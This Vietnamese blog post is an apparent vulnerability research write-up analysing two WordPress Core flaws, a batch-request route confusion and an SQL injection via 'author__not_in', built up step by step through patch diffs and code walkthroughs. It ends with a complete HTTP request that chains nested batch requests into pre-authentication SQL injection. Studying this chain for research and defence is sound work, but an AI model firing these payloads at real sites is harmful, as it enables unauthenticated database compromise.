Chào anh em, cũng khá lâu rồi chưa có một bài viết nào mới kể từ bài viết cuối cùng, thì nhân tiện gần đây nổi rần rần một lỗ hổng nghiêm trọng được đặt một cái tên nghe khá cool là wp2shell và nó xuất hiện bên trong WordPress Core (với quy mô ảnh hưởng rất lớn, đang được hàng triệu website đang sử dụng).
Vì thế, nó khiến mình cảm thấy tò mò, thôi thúc mình phải xắn tay áo lên phân tích nó và để tự trả lời câu hỏi của bản thân đặt ra là:
- Lỗ hổng này có thể exploit in-the-wild hay không?
- Có thể khai thác với cấu hình mặc định không?
- Có cần biết điều kiện đặc biệt nào trước để exploit hay không?
Thôi, không vòng vo nữa, bắt tay vào chủ đề chính thôi!!!
#Lab Enviroment
- Apache Httpd
- Wordpress 7.0.1
- MySQL Server 8.4
#CVE-2026-63030 - Batch Request Route Confusion
Có lẽ ta nên bắt đầu với CVE-2026-63030 trước tiên nhỉ! Dựa vào mô tả, lỗ hổng ảnh hưởng trên batch request endpoint /wp-json/batch/v1 do việc xử lý bất đồng bộ giữa các route/validation dẫn đến có thể bypass cơ chế input validation, đồng thời có thể lạm dụng lỗ hổng này để chain với lỗ hổng SQL Injection dẫn đến RCE.

Do được đề cập đến việc “bất đồng bộ” nên mình chú ý ngay đến dòng 1753 được thêm vào bên trong vòng lặp foreach ở latest version, có thể quan sát ảnh bên dưới:

#REST API Batch Request
Dựa vào document tìm được trên Internet: REST API Batch Framework in WordPress 5.6 – Make WordPress Core, ta có thể hình dung ra được chức năng của batch request là cho phép gọi hàng loạt các REST API chỉ với một request duy nhất và tính năng này đã được triển khai từ version WordPress 5.6.
Để gửi một batch request, ta cần tạo POST request đến /wp-json/batch/v1 endpoint với JSON body phải tồn tại requests field là một array chứa các request con bên trong (sub-request). Ví dụ một batch request có cấu trúc như sau:
{
"requests": [
{
"method": "PUT",
"path": "/my-ns/v1/route/1?query=param",
"headers": {
"My-Header": "my-value"
},
"body": {
"project": "Gutenberg"
}
},
{
"method": "DELETE",
"path": "/my-ns/v1/route/2?query=param"
}
]
}
Hàm serve_request() chịu trách nhiệm handle các REST API request:
// wp-includes/rest-api/class-wp-rest-server.php
public function serve_request( $path = null ) {
/* @var WP_User|null $current_user */
global $current_user;
if ( $current_user instanceof WP_User && ! $current_user->exists() ) {
//...
$current_user = null;
}
//...
$result = $this->check_authentication(); //[1]
//...
Tại [1], thực hiện check authentication thông qua rest_authentication_errors filter, và filter này tiếp tục gọi qua 2 callback:
- rest_application_password_check_errors
- rest_cookie_check_errors
Đầu tiên sẽ đi qua rest_application_password_check_errors, chổ này do ta không xác thực thông qua password nên sẽ skip qua. Tiếp đến rest_cookie_check_errors callback sẽ kiểm tra một số điền kiện:
// wp-includes/rest-api.php
function rest_cookie_check_errors( $result ) {
// ...
global $wp_rest_auth_cookie;
// ...
if ( isset( $_REQUEST['_wpnonce'] ) ) {
$nonce = $_REQUEST['_wpnonce'];
} elseif ( isset( $_SERVER['HTTP_X_WP_NONCE'] ) ) {
$nonce = $_SERVER['HTTP_X_WP_NONCE'];
}
if ( null === $nonce ) { // [2]
// No nonce at all, so act as if it's an unauthenticated request.
wp_set_current_user( 0 );
return true;
}
// ...
}
chỉ đơn giản là nếu ta không cung cấp HTTP_X_WP_NONCE header hoặc _wpnonce param thì điều kiện tại [2] sẽ auto pass và sẽ được truy cập bằng quyền Anonymous User.
Sau đó, tiếp tục gọi tới hàm dispatch() sẽ thực hiện match request đến một handler tương ứng để gọi callback xử lý, và thực hiện các bước input validation đảm bảo rằng request cung cấp đầy đủ các param và value có data type phù hợp
// wp-includes/rest-api/class-wp-rest-server.php
public function dispatch( $request ) {
$this->dispatching_requests[] = $request;
//...
$error = null;
$matched = $this->match_request_to_handler( $request );
//...
list( $route, $handler ) = $matched;
//...
if ( ! is_callable( $handler['callback'] ) ) {
//...
}
if ( ! is_wp_error( $error ) ) {
$check_required = $request->has_valid_params();
if ( is_wp_error( $check_required ) ) {
$error = $check_required;
} else {
$check_sanitized = $request->sanitize_params();
if ( is_wp_error( $check_sanitized ) ) {
$error = $check_sanitized;
}
}
}
$response = $this->respond_to_request( $request, $route, $handler, $error );
//...
Giả sử đối với /batch/v1 route thì sẽ match với handler có callback là serve_batch_request_v1, kèm theo một số trường dữ liệu bắt buộc với data type quy định ở biến args

Hàm serve_batch_request_v1() sẽ là nơi chịu trách nhiệm chính
để handle các batch request. Về cơ bản cũng sẽ thao tác giống so với handle các REST API như bên cho các sub-request bao gồm parsing, matching các route đến những handler phù hợp và gọi đến các callback xử lý tương ứng.
Có thể hiểu nôm na quá trình xử lý theo thứ tự như sau:
- Loop qua các sub-request bên trong
requestsfield của batch request để thực hiện parse các route path, set body, set header, set query param cho từng sub-request object và add từng sub-request object vào biến array$requests - Khởi tạo 2 biến quan trọng bao gồm:
$matches: là một array chứa các handler cho từng sub-request dựa trên route path theo thứ tự$validation: là một array chứa kết quả sau khi đã validation/sanitization các input params của các sub-request tương ứng
- Loop các sub-request object thực hiện một loạt các bước validation:
- Match request object vào đúng handler xử lý dựa vào
route pathvàmethod, sau đó add vào biến$matches - Kiểm tra xem handler này có được cho phép gọi thông qua batch request hay không?
- Gọi
has_valid_params()để check request có bao gồm đủ các params hay không? Và gọi tiếpsanitize_params()để check value của các params này có đúng data type hay chưa? Từng route path sẽ define một validation schema riêng chứa các rule cho từng tham số. Kết quả sẽ lưu vào biến$errorvà cuối cùng, add vào array$validation
- Match request object vào đúng handler xử lý dựa vào
- Tiếp tục, loop theo thứ tự index của các sub-request object, lấy các handler từ
$matchestương ứng theo index của sub-request object và call hàmrespond_to_request():- Nếu giá trị
$validationtương ứng không phải là error sẽ đi tiếp - Gọi
$handler['permission_callback']để check permission trước khi hành động - Nếu thõa mãn, sẽ gọi
call_user_func( $handler['callback'], $request )xử lý sub-request với callback tương ứng.
- Nếu giá trị
#The confusion
Dựa vào bản vá, ta có thể thấy điểm bất thường nằm ở step 3 khi thực hiện matching sub-request với handler tương ứng của nó:

Tự đặt câu hỏi trong đầu rằng: “Dòng code được bổ sung có ý nghĩa gì để ngăn chặn lỗ hổng này?”.
Ta thấy rằng, dòng code được bổ sung ngay bên trong câu điều kiện is_wp_error( $single_request ), vậy thì khả năng rất có vấn đề khi xử lý một sub-request bị lỗi. Code snippet sau sẽ mô tả lại cách hoạt động của step 3:
// wp-includes/rest-api/class-wp-rest-server.php
//...
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
$error = null;
if ( is_wp_error( $match ) ) {
$error = $match;
}
if ( ! $error ) {
list( $route, $handler ) = $match;
if ( isset( $handler['allow_batch'] ) ) {
$allow_batch = $handler['allow_batch'];
} else {
$route_options = $this->get_route_options( $route );
$allow_batch = $route_options['allow_batch'] ?? false;
}
if ( ! is_array( $allow_batch ) || empty( $allow_batch['v1'] ) ) {
$error = new WP_Error(
'rest_batch_not_allowed',
__( 'The requested route does not support batch requests.' ),
array( 'status' => 400 )
);
}
}
if ( ! $error ) {
$check_required = $single_request->has_valid_params();
if ( is_wp_error( $check_required ) ) {
$error = $check_required;
}
}
if ( ! $error ) {
$check_sanitized = $single_request->sanitize_params();
if ( is_wp_error( $check_sanitized ) ) {
$error = $check_sanitized;
}
}
if ( $error ) {
$has_error = true;
$validation[] = $error;
} else {
$validation[] = true;
}
}
Hãy tưởng tượng rằng, trong quá trình thực hiện matching handler, nếu ta cung cấp 3 sub-request với request đầu tiên bị lỗi trong quá trình parsing thì có thể được mô phỏng lại luồng như sau:
-
Phase 1: Khởi tạo các biến:
- $requests =
array( Request("/error/route", "PUT"), Request("/wp/v2/users", "POST"), Request("/wp/v2/posts", "POST") ) - $matches =
array() - $validation =
array()
- $requests =
-
Phase 2: Loop qua tất cả sub-request object:
-
Round 1: Check
Request("/error/route", "PUT")là một request lỗi nên:- $validation =
[ WP_ERR("/error/route", "PUT") ] - $matches =
[]
- $validation =
-
Round 2: Check
Request("/wp/v2/users", "POST")là một valid request nên:- $validation =
[ WP_ERR("/error/route", "PUT"), true] - $matches =
[ Handler("create_user_handler") ]
- $validation =
-
Round 2: Check
Request("/wp/v2/posts", "POST")là một valid request nên:- $validation =
[ WP_ERR("/error/route", "PUT"), true, true] - $matches =
[ Handler("create_user_handler"), Handler("create_post_handler") ]
- $validation =
-
-
Phase 3: Loop theo index các sub-request object:
- Round 1:
index=0là $requests[0] =Request("/error/route", "PUT")-> lỗi nên skip - Round 2:
index=1là $requests[1] =Request("/wp/v2/users", "POST")-> valid -> gọi $matches[1] =Handler("create_post_handler") - Round 3:
index=2là $requests[2] =Request("/wp/v2/posts", "POST")-> valid -> gọi $matches[2] =null
- Round 1:
Rõ ràng ta thấy sự sai logic ở quá trình này, vì đáng lẽ ra với endpoint /wp/v2/users thì phải được xử lý bởi create_user_handler, nhưng theo logic hiện tại thì lại sử dụng create_post_handler handler. Điều này là nguyên nhân chính dẫn đến lỗ hổng khi trường hợp gặp một error sub-request, cụ thể là không thực hiện add giá trị nào đó để đảm bảo thứ tự handler trong biến $matches phù hợp với từng sub-request route path.
Với lỗi logic này làm tăng lên bề mặt tấn công bao gồm:
- Có thể gọi bất kỳ handler mà không được phép gọi từ batch request (not
allow_batch) - Bypass input validation schema nghĩa là sử dụng request data của handler này cho một handler khác, cái mà đúng ra phải thực hiện validation params cho từng handler tương ứng
Vấn đề tiếp theo là: Làm sao để tạo ra một error sub-request (WP_ERR)?
Tại step 1 của flow trên ta có:
// wp-includes/rest-api/class-wp-rest-server.php
foreach ( $batch_request['requests'] as $args ) {
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) { // [3]
$requests[] = new WP_Error( 'parse_path_failed', __( 'Could not parse the path.' ), array( 'status' => 400 ) );
continue;
}
// ...
}
có vẻ cách duy nhất để tạo ra request lỗi (WP_Error) là break logic phân tích của hàm wp_parse_url() và force nó trả về false tại [3]. Hàm wp_parse_url() như sau:
// wp-includes/http.php
function wp_parse_url( $url, $component = -1 ) {
$to_unset = array();
$url = (string) $url;
if ( str_starts_with( $url, '//' ) ) {
$to_unset[] = 'scheme';
$url = 'placeholder:' . $url;
} elseif ( str_starts_with( $url, '/' ) ) {
$to_unset[] = 'scheme';
$to_unset[] = 'host';
$url = 'placeholder://placeholder' . $url;
}
$parts = parse_url( $url );
//...
}
Nếu path bắt đầu bằng // thì sẽ tự động thêm prefix placeholder: như một HTTP Scheme, lúc này chỉ cần fuzz thêm các ký tự đặc biệt vào url để lỗi trong quá trình parse host_name hay gì khác tương tự là sẽ hit được điều kiện [3]
{
"method": "POST",
"path": "//@!@#aaaaaaaaa"
}
Payload ở thời điểm hiện tại như bên dưới, và request /wp/v2/users sẽ được xử lý và có thể truyền vào bất kỳ param với giá trị nào cho handler của request /wp/v2/posts vì input ở /wp/v2/users chỉ validate dựa theo schema của endpoint này mà thôi :)
{
"requests": [
{
"method": "POST",
"path": "//@!@#aaaaaaaaa"
},
{
"method": "POST",
"path": "/wp/v2/users",
"body": {
"username": "fooooo",
"email":"foo@gmail.com",
"password":"Abcd@1234"
}
},
{
"method":"POST",
"path": "/wp/v2/posts",
"body": {
"param":"ony need handler"
}
}
]
}
#CVE-2026-60137 - SQL Injection via author__not_in Parameter
#Patch Analysis
Về lỗ hổng SQL Injection, ta có thể nhận ra ngay sau khi quan sát từ bản diff,

nó xuất hiện tại hàm get_posts() thông qua tham số author__not_in tại [4]:
// wp-includes/class-wp-query.php
public function get_posts() {
global $wpdb;
$this->parse_query();
//...
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // [4]
}
//...
ta chỉ cần quan tâm là làm sao để chèn param author__not_in dưới dạng string mà không phải là array để không bị cast sang absint.
Bước này thì nhờ thằng bạn AI hỗ trợ tìm ra các endpoint có thể reach được hàm này. Kết quả có 3 ứng cử viên như sau:

Cả ba endpoint đều sử dụng get_items_permission_check callback và auto public :)
// wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php
/**
* Checks if a given request has access to search content.
*
* @since 5.0.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has search access, WP_Error object otherwise.
*/
public function get_items_permission_check( $request ) {
return true;
}
Pick đại route /wp/v2/posts phân tích thì thấy nó gọi hàm get_items callback :
// wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php
public function get_items( $request ) {
//...
$parameter_mappings = array(
'author' => 'author__in',
'author_email' => 'author_email',
'author_exclude' => 'author__not_in',
//...
'offset' => 'offset',
'order' => 'order',
'parent' => 'parent__in',
'parent_exclude' => 'parent__not_in',
'per_page' => 'number',
//...
);
$prepared_args = array();
//...
foreach ( $parameter_mappings as $api_param => $wp_param ) {
if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
$prepared_args[ $wp_param ] = $request[ $api_param ];
}
}
//...
Quan sát thì ta có thể control được author__not_in thông qua request param là author_exclude. Nhưng điều này không có nghĩa là nếu ta truy cập trực tiếp vào route GET /wp/v2/posts thì có thể trigger được Preauth SQL injection.
Bởi vì như đã đề cập từ đầu, khi xử lý REST API endpoint thì hàm dispatch() sẽ thực hiện một loạt các input validation ở phía trước để check đảm bảo đủ param truyền vào và value đúng với data type quy định, cụ thể như bên dưới:
// wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php
public function get_collection_params() {
$query_params = parent::get_collection_params();
//...
$query_params['author_exclude'] = array(
'description' => __( 'Ensure result set excludes comments assigned to specific user IDs. Requires authorization.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
);
//...
param author_exclude đưa vào phải là một integer array nên không thể chèn string payload trực tiếp qua REST API.
Đến đây, thì ta dần nhận ra rằng lỗ hổng này không chỉ dừng lại ở sự bất đồng bộ khi matching các handler mà còn nhấn mạnh vào khả năng bypass input validation. Nghĩa là ta hoàn toàn có thể bypass để truyền payload vào param author_exclude với string data type thông qua lỗ hổng ở batch request.
#Nested batch requests
Nice, mọi thứ trong tầm kiểm soát rồi thì BOOOOOOOM!

Đời không như là mơ, debug lại hàm sanitize_params() bên trong dispatch(), thì method phải nằm trong enum như bên dưới và không có GET :((

Batch không support
GETmethod vậy thì làm sao gọi đượcGET /wp/v2/postsendpoint đó thông qua batch request?
Như mình đã nhấn mạnh khả năng bypass input validation, thì tại sao ta không tận dụng nó để gọi một batch request con ở bên trong một batch request cha nhỉ? :))))
Vì param sanitize dựa trên route hiện tại, nhưng lại dùng callback của handler khác để xử lý, nên việc kiểm tra method có nằm trong enum là không xảy ra đối với batch request con bên trong.

#Bypass ORDER clause limit
Tới đây thì có thể SQL Injection tùy ý nhưng bị hạn chế bởi global ORDER clause nên không thể exploit union-based được, query như sau:
SELECT SQL_CALC_FOUND_ROWS wp_posts.ID
FROM wp_posts
WHERE 1=1 AND wp_posts.post_author NOT IN (1333333337) union select 123-- - AND ((wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish')))
ORDER BY wp_posts.post_date DESC
LIMIT 0, 10
kết quả trả về:
Error Code: 1250. Table 'wp_posts' from one of the SELECTs cannot be used in global ORDER clause
nên ta phải tìm một cách nào đó làm cho chương trình skip câu limit và order by đi, không nối chúng vào câu query chính nữa.
Đầu tiên hãy xử lý câu limit trước:
public function get_posts() {
//...
if ( ! isset( $query_vars['nopaging'] ) ) {
if ( -1 == $query_vars['posts_per_page'] ) { // [6]
$query_vars['nopaging'] = true;
} else {
$query_vars['nopaging'] = false;
}
}
//...
if ( empty( $query_vars['orderby'] ) ) {
//...
if ( isset( $query_vars['orderby'] ) && ( is_array( $query_vars['orderby'] ) || false === $query_vars['orderby'] ) ) {
$orderby = '';
} else {
$orderby = "{$wpdb->posts}.post_date " . $query_vars['order'];
}
} elseif ( 'none' === $query_vars['orderby'] ) { // [7]
$orderby = '';
}
//...
if ( empty( $query_vars['nopaging'] ) && ! $this->is_singular ) {
//...
$limits = 'LIMIT ' . $pgstrt . $query_vars['posts_per_page']; // [8]
}
//...
- Tại [8], biến
$limitchứa câu limit được add vào cuối query, điều này chỉ xảy ra khi$query_vars['nopaging']rỗng nhưng ta có thể set cho nó giá trị nếu thõa điều kiện tại [6] để cắt đi câu limit - Tại [7], nếu
$query_vars['orderby']lànonethì ORDER BY clause sẽ là rỗng
Và ta có thể hoàn toàn kiểm soát các tham số này thông qua các request params per_page và orderby:
// wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php
public function get_items( $request ) {
//...
if ( isset( $registered['per_page'] ) ) {
$args['posts_per_page'] = $request['per_page'];
}
//...
$parameter_mappings = array(
//...
'orderby' => 'orderby',
//...
);
//...
Final payload:
POST /wp-7.0.1/wp-json/batch/v1 HTTP/1.1
Host: localhost:8088
Content-Type: application/json
Content-Length: 414
{
"requests": [{
"method": "POST",
"path": "//@!@#!"
},
{
"method": "POST",
"path": "/wp/v2/widgets",
"body":{
"requests": [{
"method": "POST",
"path": "//@!@#!"
},{
"method": "POST",
"path": "/wp/v2/widgets?per_page=-1&orderby=none&author_exclude=133333337)-- -"
},{
"method": "GET",
"path": "/wp/v2/posts"
}]}},{
"method": "POST",
"path": "/batch/v1"
}
]
}
kết quả mất ORDER BY với LIMIT ròi hehe

Đến đây thì coi như đi được nửa đoạn đường rồi, nhưng trong khi đang stuck trên đường chain exploit lên RCE thì ngay ngày hôm sau, tác giả public writeup về full-chain của lỗ hổng luôn :)))
Nên phần còn lại các bạn có thể đọc tiếp tại: Exploit brokers pay $500,000 for a WordPress RCE. I found one with GPT5.6 Sol Ultra and $25 › Searchlight Cyber :))
Hiện tại chắc chỉ tới đây thôi nhỉ! Do bài này mình note hơi vội nên có thể sai sót, mong ai đi ngang qua đọc nếu thấy sai có thể góp ý với mình! Hy vọng sắp tới mình sẽ update thêm phần còn lại của bài viết này :))))